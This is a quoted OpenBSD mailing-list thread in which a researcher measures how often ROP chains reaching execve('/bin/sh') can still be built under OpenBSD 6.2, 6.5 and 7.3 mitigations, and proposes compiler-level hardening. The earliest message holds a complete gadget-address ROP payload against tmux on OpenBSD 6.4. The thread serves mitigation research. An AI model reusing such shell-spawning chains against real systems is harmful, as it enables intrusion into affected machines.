We conducted experiments following the methodology of rop-benchmark <https://github.com/ispras/rop-benchmark> on both *OpenBSD 6.5* and *OpenBSD 7.3* program testsuites. We injected a simple stack overflow vulnerability into each program set in these experiments. We attempted to construct an ROP payload calling *execve("/bin/sh", 0, 0)* using the Gadget collection from the programs. We validated its correctness by exploiting the vulnerability. We required the ROP payload to first write the *"/bin/sh"* string to memory, then sequentially set the *rdi, rsi, rdx,* and *rax *values, and finally make the *syscall*.
Additionally, the programs from *OpenBSD 6.2* were sourced from rop-benchmark, while the programs from *OpenBSD 6.5* and *OpenBSD 7.3* were obtained by installing their respective iso <https://cdn.openbsd.org/pub/OpenBSD/7.3/amd64/install73.iso>, and extracting all executable programs from the systems as our test suites. These programs can be found on this GitHub repository <https://anonymous.4open.science/r/roptest-benchmark-00F7/README.md>, and we also provided some examples of successfully generated ROP payloads there. We counted the number of programs in the test set for which we could successfully execute *execve("/bin/sh", 0, 0)*. The experimental results showed that the success rate in OpenBSD 6.2, without ROP mitigation mechanisms, was 96.55%. However, with ROP mitigation mechanisms in OpenBSD 6.5 and 7.3, the success rate decreased to *79.58%* and *50.75%*, respectively. This indicates the effectiveness of the ROP mitigation mechanisms implemented in OpenBSD. However, we found that even with these mitigation measures in place, many Gadgets can still be used. I provided a detailed analysis in the previous email and some suggestions. For example, 1) reducing Gadgets like pop xxx; ret; clearing registers before function returns <https://ieeexplore.ieee.org/document/8445132>. 2) Transforming the bytecode (`\xcb`) corresponding to some `retf` instructions to reduce their frequency in the programs. You can refer to our generated ROP payloads <https://anonymous.4open.science/r/roptest-benchmark-00F7/rop_example>, where you will find many ROPs using Gadgets ending with `retf`, as they are indeed very useful (for rop example in OpenBSD 7.3 <https://anonymous.4open.science/r/roptest-benchmark-00F7/rop_example/openbsd-73/mv.bin.script> ). Best regards, ZoE <f...@disciples.com> 于2023年10月10日周二 06:26写道: > Can you show how you arrived at these results? The more detailed the > better. > > Perhaps this should be its own blog post somewhere as well. > > I can't speak to the suggested experiments other than to say that having a > wider audience may be of help. > > > > > > > Sent: Saturday, October 07, 2023 at 8:13 PM > From: "Nan ZoE" <zoen...@gmail.com> > To: misc@openbsd.org > Subject: Re: ROP Exploitation in openbsd-64 Programs After Removing ROP > Gadgets > Hello, > > Thank you very much for all your suggestions first. After our last > discussion, I conducted some additional experiments and gained a more > detailed understanding of the ROP mitigation mechanisms implemented during > the compilation phase of these programs. *I aimed to identify any > shortcomings in these mitigation mechanisms and attempt to improve them*. I > want to continue our in-depth discussion regarding these mitigation > mechanisms. > > Firstly, we have observed that OpenBSD is dedicated to reducing the number > of effective Gadgets during the compilation phase while resisting ROP > attacks by increasing the complexity of Gadgets. This is a highly > meaningful and practical approach to ROP defense, as it does not incur the > significant performance overhead that techniques like CFI (Control Flow > Integrity) do. Measures like these can be deployed in various application > scenarios, *as they could be applied to programs in IoT devices or network > equipment *(such as firewalls). Based on my knowledge, many vulnerabilities > still exist in these targets, and ROP attack techniques remain the > preferred choice for attackers during exploitation. *These devices often > prioritize rapid response and tend to weaken their security defenses;* > therefore, adding such mitigation measures during the compilation phase > could significantly enhance their security. > > Given that our analysis focuses on ROP attack mitigation measures > implemented during the compilation phase, our primary evaluation method > revolves around assessing how ROP attacks can still be executed using only > Gadgets when these measures are enabled. We conducted experiments where we > attempted to search for and chain Gadgets within programs to construct ROP > payloads that achieve the execution of '*execve("/bin/sh", 0, 0)*'. This > evaluation encompasses two aspects: first, the arbitrary memory-write > capability of the Gadget set (initially setting memory values to > *'/bin/sh'*), > and second, the capability to set the values of the key registers *rdi, > rsi, rdx*, and *rax *(for setting* rdi, rsi,* and *rdx *as arguments and > *rax > *as the system call number). We conducted experiments on OpenBSD 6.2, > OpenBSD 6.5, and OpenBSD 7.3, extracting the minimal program set for each > version. In *OpenBSD 6.2*, out of 87 programs, we successfully generated > ROP for 84 programs, achieving a success rate of *96.55%*. In *OpenBSD > 6.5*, > out of 240 programs, we successfully generated ROP for 191 programs, with a > success rate of *79.58%*. In *OpenBSD 7.3,* out of 264 programs, we only > managed to generate ROP for 134 programs, with a success rate of *50.75%*. > We also manually analyzed the reasons for failure to generate each > program's ROP. In most cases, the inability to control specific register > values led to failures. This was due to a limited number of relevant > Gadgets and their complexity. The range of controllable register values was > restricted. It's worth mentioning that, naturally, if the attack > requirements were lowered, such as requiring control over fewer registers, > it might lead to a higher success rate among the programs. > > Based on the experimental data we have gathered, it is evident that > OpenBSD's ROP mitigation measures continually strengthen with each > iteration. They have reduced the number of Gadgets within programs and > increased the complexity of using these Gadgets. The decrease in success > rates is the most compelling evidence of this improvement. > > Subsequently, we analyzed the reasons for successfully generating ROP in > some programs, which can be summarized in four key points: > > 1. While many 'ret'-ending Gadgets have been removed, many 'call' and > 'jmp'-ending Gadgets remain usable. These Gadgets allow the storage of jump > addresses in both registers and memory. > 2. Despite a reduction in Gadgets for data transfer through 'mov' > instructions, numerous Gadgets still feature arithmetic operations. They > rely on leaked register or memory values to assist in setting target > values, often involving straightforward calculations. (When you have > complete control over the value of a register, it can act like a chain > reaction, assisting in controlling more registers.) > 3. Gadgets that involve memory read/write operations are handy, albeit > demanding greater control over multiple register values. Once arbitrary > memory reads or writes are achieved, they can lead to chain reactions, > facilitating control over additional registers or memory values. > 4. Conditional branch Gadgets can also be utilized. > 5. Additionally, some specific bytecodes employ unique exploitation > techniques, such as 'retf,' 'retfq,' > < > https://media.defcon.org/DEF%20CON%2031/DEF%20CON%2031%20presentations/Dr.%20Bramwell%20Brizendine%20Shiva%20Shashank%20Kusuma%20-%20Advanced%20ROP%20Framework%20Pushing%20ROP%20to%20Its%20Limits.pdf > > > 'ret n,' Etc., which enhance the utilization of effective Gadgets by 30%. > > After completing these experiments, I am considering better resisting ROP > attacks during compilation. My primary goal is to make Gadgets more > challenging to use. While human capability is formidable, we can make this > task more difficult. I have some ideas and would like to know if they are > feasible. > > 1. *Zeroing registers before function returns:* I have noticed a > mitigation measure mentioned in a paper titled 'Clean the Scratch > Registers: A Way to Mitigate Return-Oriented Programming Attacks. > < > https://ieeexplore.ieee.org/document/8445132[https://ieeexplore.ieee.org/document/8445132]>' > It involves clearing > registers before each function returns. It offers two main advantages: a) > significantly reduces the prevalence of 'pop xxx ret' type Gadgets in the > program, and b) when hijacking control flow after triggering a stack > overflow vulnerability, attackers cannot use leaked register values for > supplementary attacks because they have all been zeroed. > 2. *Increasing the number of data dependencies and side-effect fixing > items for individual Gadgets:* By adding 'redundant instructions' or > using other methods before jump instructions, we can lengthen Gadgets, > thereby increasing the number of data dependencies and side-effect fixing > items that need to be satisfied for a single Gadget. For example, in the > Gadget 'mov rdx, rax; mov qword ptr [rcx], rdx; test rax, rax; jne > 0xdeadbeef; call [rbx + 0x30];,' if we use it for data transfer from rax to > rdx ('mov rdx, rax;'), the other instructions in the Gadget ('mov qword ptr > [rcx], rdx; test rax, rax; jne 0xdeadbeef;') become side-effects, and the > jump address is memory-controlled, serving as data dependencies (the 'call > [rbx + 0x30];' instruction). These side-effects and data dependencies must > be controlled within specific ranges, ensuring the Gadget does not crash > during execution. > 3. *Increasing the ratio of conditional branch Gadgets:* Analyze whether > the bytecode for conditional branches relates to certain registers or > instructions. Adjust the compilation scheme without affecting performance > to increase the ratio of conditional branch Gadgets. Such Gadgets are > challenging to use as they require considering at least three elements: > setting the operand value, satisfying the conditional branch, and > controlling the direction of the jump in the corresponding branch. If the > depth of conditional branches can also be increased, these Gadgets become > even harder to use. Similarly, *increasing the ratio of arithmetic > instruction in Gadgets* also contributes to ROP resistance. > 4. *Reducing the occurrence of critical bytecode associated with some > Gadget exploitation techniques (retf, retfq, ret n).* > > > Best regards, > ZoE > > > > Nan ZoE <zoen...@gmail.com> 于2023年9月23日周六 10:38写道: > > > Certainly, I will proceed to test the ROP mitigation measures on OpenBSD > > 7.3. Thank you for your response! > > > > > > Best regards, > > ZoE > > > > <f...@disciples.com> 于2023年9月23日周六 00:32写道: > > > >> I'm replying to you off list because I don't want to keep the thread > >> going. > >> > >> Listen, you understand wrong. There's no way other way of saying it and > >> your logic doesn't even make sense. A cursory glance at release pages > even > >> shows improvements in these specific areas that you mention. > >> > >> However, I don't want to discourage you from testing mitigations but as > >> Peter and Theo said you really need to put your focus on 7.3 release or > >> -current if you are interested in someone taking you seriously. > >> > >> 7.4 will also be released in the next month or so. > >> > >> > >> > >> > >> > >> Sent: Thursday, September 21, 2023 at 9:50 PM > >> From: "Nan ZoE" <zoen...@gmail.com> > >> To: f...@disciples.com > >> Cc: misc@openbsd.org > >> Subject: Re: ROP Exploitation in openbsd-64 Programs After Removing ROP > >> Gadgets > >> Because, as far as I understand, these ROP mitigation mechanisms seem to > >> have been updated only in the three versions of OpenBSD, namely 6.3 to > 6.5 > >> <https://www.openbsd.org/65.html[https://www.openbsd.org/65.html]>. Of > course, I have also studied some > >> programs under OpenBSD 6.5, and many of them still seem to have the > >> potential to be bypassed. > >> > >> <f...@disciples.com> 于2023年9月22日周五 12:02写道: > >> > >> > Why are you targeting 6.4? That was released in 2018. So, that's 5 > years > >> > and 9 releases since then and another one is happening soon. > >> > > >> > > >> > > >> > > >> > Sent: Thursday, September 21, 2023 at 8:50 AM > >> > From: "Nan ZoE" <zoen...@gmail.com> > >> > To: misc@openbsd.org > >> > Subject: ROP Exploitation in openbsd-64 Programs After Removing ROP > >> Gadgets > >> > Hello, > >> > > >> > > >> > > >> > I have read your paper regarding the ROP mitigation mechanism > (Removing > >> ROP > >> > Gadgets from OpenBSD), and I find the defense against ROP quite > >> ingenious. > >> > The paper introduces the bytecode for 'ret' as '\xc3,' and its > >> association > >> > with the use of the 'rbx' register was a surprising revelation. > >> > Subsequently, you adjusted the prioritization of the 'rbx' register > >> during > >> > compilation, effectively filtering out a significant number of > >> 'ret'-ending > >> > gadgets. This especially removed many misaligned 'ret'-ending gadgets, > >> and > >> > this technique has been applied to openbsd-63, 64, and 65. While the > >> number > >> > of 'ret'-ending gadgets has been significantly reduced, there are > still > >> > numerous 'call'-ending gadgets in the program. Security researchers > can > >> > still employ many 'call'-ending gadgets to carry out ROP attacks. Even > >> in > >> > programs of only a few hundred kilobytes, I have found that we can > still > >> > invoke the execve("/bin/sh", 0, 0) function using only the available > >> > gadgets in the program, albeit it may require a combination of > multiple > >> > gadgets and some effort to achieve. I am curious if there are any > >> further > >> > ROP mitigation measures to address this issue? Additionally, I have > >> > provided an ROP attack example targeting the tmux program in > >> OpenBSD-64, as > >> > shown below. > >> > > >> > > >> > > >> > payload = p64(0x4017ce) > >> > > >> > #0x00000000004017ce: pop r13; pop r14; pop r15; ret; > >> > > >> > payload += p64(0x68732f6e69622f)+p64(0x0)+p64(0x0)+p64(0x40125d) > >> > > >> > # 0x000000000040125d: pop rbp; ret; > >> > > >> > payload += p64(0x4017d1)+p64(0x403dd3) > >> > > >> > # 0x0000000000403dd3: xchg eax, ebp; ret; > >> > > >> > payload += p64(0x412208) > >> > > >> > # 0x0000000000412208: mov rcx, r13; call rax; > >> > > >> > payload += b'' > >> > > >> > # 0x00000000004017d1: pop rsi; pop r15; ret; > >> > > >> > payload += p64(0x0)+p64(0x40125d) > >> > > >> > # 0x000000000040125d: pop rbp; ret; > >> > > >> > payload += p64(0x40125d)+p64(0x403dd3) > >> > > >> > # 0x0000000000403dd3: xchg eax, ebp; ret; > >> > > >> > payload += p64(0x427a31) > >> > > >> > # 0x0000000000427a31: pop rbx; pop rbp; jmp rax; > >> > > >> > payload += p64(0x49e0ed)+p64(0x0) > >> > > >> > # 0x000000000040125d: pop rbp; ret; > >> > > >> > payload += p64(0x4017d1)+p64(0x403dd3) > >> > > >> > # 0x0000000000403dd3: xchg eax, ebp; ret; > >> > > >> > payload += p64(0x412053) > >> > > >> > # 0x0000000000412053: mov r8, rbx; call rax; > >> > > >> > payload += b'' > >> > > >> > # 0x00000000004017d1: pop rsi; pop r15; ret; > >> > > >> > payload += p64(0x0)+p64(0x4551d9) > >> > > >> > # 0x00000000004551d9: add qword ptr [r8 - 0x7d], rcx; ret; > >> > > >> > payload += p64(0x4017d3) > >> > > >> > # 0x00000000004017d3: pop rdi; ret; > >> > > >> > payload += p64(0x49e070)+p64(0x40d571) > >> > > >> > # 0x000000000040d571: pop rsi; ret; > >> > > >> > payload += p64(0x0)+p64(0x4017cf) > >> > > >> > # 0x00000000004017cf: pop rbp; pop r14; pop r15; ret; > >> > > >> > payload += p64(0x0)+p64(0x4017d0)+p64(0x0)+p64(0x40125d) > >> > > >> > # 0x000000000040125d: pop rbp; ret; > >> > > >> > payload += p64(0x49e1d0)+p64(0x42d80b) > >> > > >> > # 0x000000000042d80b: mov rdx, r15; mov rcx, qword ptr [rbp - 0x40]; > mov > >> > rax, r14; call rax; > >> > > >> > payload += b'' > >> > > >> > # 0x00000000004017d0: pop r14; pop r15; ret; > >> > > >> > payload += p64(0x0)+p64(0x40125d) > >> > > >> > # 0x000000000040125d: pop rbp; ret; > >> > > >> > payload += p64(0x3b)+p64(0x403dd3) > >> > > >> > # 0x0000000000403dd3: xchg eax, ebp; ret; > >> > > >> > payload += p64(0x407fae) > >> > > >> > # 0x0000000000407fae: syscall; > >> > > >> > payload += b'' > >> > > >> > > >> > > >> > Best regards, > >> > > >> > ZoE > >> > > >> > 2023.09.21 > >> > > >> > > >